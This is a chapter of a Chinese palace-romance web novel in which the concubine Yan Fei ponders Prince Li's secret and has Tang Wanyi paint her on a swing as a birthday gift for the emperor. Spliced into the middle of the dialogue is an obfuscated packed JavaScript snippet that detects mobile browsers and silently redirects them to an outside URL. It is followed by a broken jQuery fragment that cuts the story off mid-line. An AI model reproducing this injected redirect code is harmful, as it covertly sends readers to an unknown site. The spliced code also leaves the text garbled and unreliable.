28. 第二十八章

作品:《芝麻汤圆娘娘又露馅了

    言翡花了点时间才搞清楚礼王的基本情况。


    从前她是姜府刚接回来的长女,身份尴尬又没有根基人脉,想要打探消息,特别是皇家的消息,那是难如登天。


    其他人或许还顾忌户部尚书的名头,可皇亲贵胄哪会在意,随便寻个由头就打发了。


    这会听到礼王从前的举动,又结合他半夜匆匆入宫,还是在许贵妃下药的情况下……很快,一个不可思议的猜测就逐渐在她脑海中形成。


    她使劲摇摇头,那想法盘桓在脑子里还是挥之不去。


    也只有它才能解释礼王的奇怪举动了吧。


    言翡知道宫里秘辛多,但没想到这些身份尊贵地位显赫的高位者随手就能抛出重磅。


    原来今早皇上是去见他了。


    “云梧,早上你可看见皇上出御书房的表情了?”言翡突然问道。


    云梧想了想:“奴婢不敢看的,但听小果子说皇上和礼王殿下谈的很不愉快。”


    谈的很不愉快但却无动于衷──至少她没有听到皇上对含珠宫亦或是礼王有任何惩戒。


    容遇是压根不在乎还是怕丑闻人人皆知?


    等等,自己为什么会在乎这个?!那是他的事情啊!


    她只需兵来将挡水来土掩,只要许贵妃不挑衅使绊子,她自然是当无事发生。


    言翡连忙喝了一杯凉茶,才将浮躁不安的心冷静下来。


    云梧在旁边将她表情时不时变化,最后又压惊急匆匆灌凉茶的一系列动作收进眼底,心里了然。能让温婉柔弱的主子变成这样,只有“情”之一字方能解释。


    云梧握住她的手,眼神坚定:“主子没事的,就算许贵妃有礼王撑腰,但奴婢已经看出来了,皇上的心在主子这儿。”


    言翡心想,但愿如此了,这可是她最重要的一环啊。


    待注意力从礼王的事上分开,才记起一件要事。


    容遇的生辰是农历五月十五,就在下月末。


    去年的千秋节因着容遇刚上位,并没有大办,只简单操办了一场家宴。说是家宴,其实真正者寥寥,多是许渊一派和些有血缘关系但暗地里并不熟络的皇亲国戚。


    那时能被他称之为家人的,不多,就两个。


    今年是打算延续往年的传统,先在太和殿接受王公百官跪拜朝贺,再在乾清宫接受后妃贺礼。


    给皇帝送礼不能单纯靠贵重,更重要的是其中暗含的心意。


    毕竟皇帝坐拥四海,什么稀奇东西没见过,但是最赤诚真挚的的心,却是世间罕有。


    掌权者大多疑心重,总要对手下的人百般试探千般考验,他既要臣子允许自己的草木皆兵,又要求臣子本人坦坦荡荡无所掩饰。


    总是很矛盾的,所以才会对毫无心机之人格外看重,易看穿好控制。


    所以言翡也很担心日后她要是撕开身份,发现她其实是边远某个县城的县令之女,苦心孤诣一步步接近他,容遇知道了这些后,见她隐瞒了自己这样久,还会不会帮她……


    不过如今箭在弦上不得不发,她已经没有了后路,哪怕只有千分之一的几率,她也要去拼一拼。


    院子花圃中的海棠不知何时盛开了,白绿色的花重重叠叠点缀在褐色的枝丫上,以翻天覆地之势盛开,整个院子都像是被绿色染上,连墙壁都隐约映着淡淡的绿,优雅清新。


    便显得中间那架朱漆秋千格外显眼,孤零零地随风摇摆。


    言翡眼睛一亮,瞬间就想到了法子。


    不过,还需要一个人帮忙。


    她连女红都一知半解,丹青自然也是不过关的。言翡此刻只恨当时的自己自由散漫,满心满眼都扑在了舞刀弄枪上。


    可话说回来,若不是自己有一身功夫,怕是连进京都难了。


    她无奈摇摇头,让知春去长乐宫请唐婉仪。


    唐婉仪之前住怡和轩,如今升了位份迁到了长乐宫,成了一宫主位。


    要说容遇也真是会抬举人,这才进宫没几个月,她和唐婉仪的位份跟玩似的,疯了一样往上飚。


    虽然知道是为了制衡许贵妃,但是言翡也不由得感慨,皇权真是大过天,大过规则,大过人命。而她在暗处添柴加薪,让这把火能烧得更烈。


    大概一炷香的时间后,唐婉仪笑吟吟的声音就从屋外传来。


    “姐姐,我才做了一些桃花酥,知春就过来寻了,可见独食的确不是容易吃的。”


    门帘被一只素手挑起,露出一张清丽脱俗的脸,甚至脸颊一侧还有未来得及擦干净的面粉,一瞧就是放下手中事情连忙赶来的。


    言翡起身接过她手中的一碟散发着花香的酥饼,整体呈花瓣状,酥皮金黄,有几抹粉红若隐若现,叫人见了食欲大增。


    “那我可算是有口福了。”


    言翡柔柔一笑,拈起其中一块放入嘴中,酥皮又干又脆,微微的甜味里夹杂着桃花的清香,侵入口腔内每一处,唇齿留香。


    她眼睛一亮,细细品味后又咬了一口:“好好吃。”


    “姐姐喜欢就好。”唐婉仪在旁边坐下,见桌上准备了书房四宝,不由得疑问,“这是?”


    言翡将口中之物咽下,才慢慢解释道:“我原本给皇上的贺礼是亲手画的一幅画。”


    她轻轻转动手腕,眉头一锁,口中也发出吃痛声:“但近来右手吹了风,这肘部隐隐作痛,酸涩得紧。”言翡不好意思地看着她,脸上飞起微红:“所以请妹妹过来,问妹妹可否为我做一幅画。”


    唐婉仪微不可见地一挑眉,这离皇上诞辰还有个把月,并非要急于这一时,等太医开了方子治好后也来得及,为何非要自己来画?


    但她的疑虑匆匆而过,并没多想,现在与她攀好关系并没有坏处,反而还能接近……


    她眸色一深,而且言翡提出这个决策无可挑剔,但她若是拒绝,便显得有问题了。


    不过一瞬,唐婉仪便点头答应:“自然是好的。”


    话说出口又迟疑了:“只是等皇上问起来……”


    言翡嘴角弯起弧度,特别认真地让她放心:“妹妹不用担忧,我会和皇上说明的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525672|169486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    唐婉仪笑着点点头:“那好。”


    言翡又往嘴里塞了一块酥饼,往绣帕上擦过手后,才拉着唐婉仪兴致勃勃地走出去。


    “云梧,将那文房四宝移到外面的小亭子里来。”


    “妹妹,我是这样构思的,海棠,秋千和荡秋千的人,如何?”


    她实在是想不出别的了,便将所看到的景色尽数说了出来,唐婉仪是个名副其实的大家闺秀,丹青是不在话下,只需自己想个大概,她自然会巧思一番。


    当然,她也并不是免费获得这幅画,她知道唐婉仪靠近她是别有目的,或许就是为了那个人。因为知道她受皇上宠爱,而皇上与唐纵关系极好,所以与她搞好关系,就算在深宫之中,也能时不时见到心上人。


    不过后面这些都是言翡验证一半的猜测,毕竟她明面上是皇上的妃嫔,怎么会与臣子,甚至是自己的庶弟有任何不清不楚的关系呢,在没有明确之前,她自然不会胡说乱揣测。


    若是真的,她愿意助她一臂之力。


    正想的出神,唐婉仪清脆干净的声音传至耳边,将她唤醒。


    “我觉着不错。姐姐不如你先坐上去荡会,让我看看怎么着手。”


    “好!”


    言翡坐下来,双手握着两边的绳索,云梧在后面一推,便高高地荡了起来。


    她今日穿着一身苍苍蓝色,裙边飞起来时像鸟儿柔顺的羽毛,又像一泓清泉,清爽中又带着一丝不可察的悲伤。


    只是这悲伤很快被欢快的笑声所打破,风吹海棠,花朵在枝头慢慢左右摇曳,似乎也被笑声所感染,开心地掉了花瓣。


    唐婉仪让碧烟研墨,看着这一幕也不由得微微发愣。


    实在是很美,唯一的美中不足就是她身后高高的围墙,和向上看时压制着的四方飞檐,那是怎么飞也飞不出去的监狱。


    忽然脑海中闪过一丝灵感。


    她立刻提笔。


    直到暮色四合,言翡坐的麻木,感觉自己的屁股痛的要裂开,唐婉仪才擦了擦脸上汗珠,将毛笔放置在一边的笔搁上。


    之前被打板子也没这么痛啊,言翡站在地上的那一刻,只有一个感觉:真好,能站着真好。


    她连荡秋千都这么痛,更别提全神贯注将所有精神汇聚在画上的唐婉仪了。


    只不过她的感觉,更像是酣畅淋漓,和对自己作品的满意与欣慰。


    “姐姐,你过来瞧瞧。”她的声音很轻很淡,连笑容都是虚的。


    言翡小心地扶着她坐在旁边木椅上见她模样也很是愧疚:“辛苦妹妹了。”


    虽然脸上虚弱,但她眸子很亮,这幅画可以说是她握笔以来最为称心的作品了。


    从前她的画总是很呆板,写实但写不出神,空有个壳子,好看但也仅限于好看。但这次却让她大有突破,几乎是一瞬间的,她看见言翡荡秋千的场景,就知道该怎么画了,那种下笔如有神的滋味,让人陶醉回味。


    言翡听她这么说,才将视线转回到画上去。


    这一看,那其中窍门让她惊喜不已。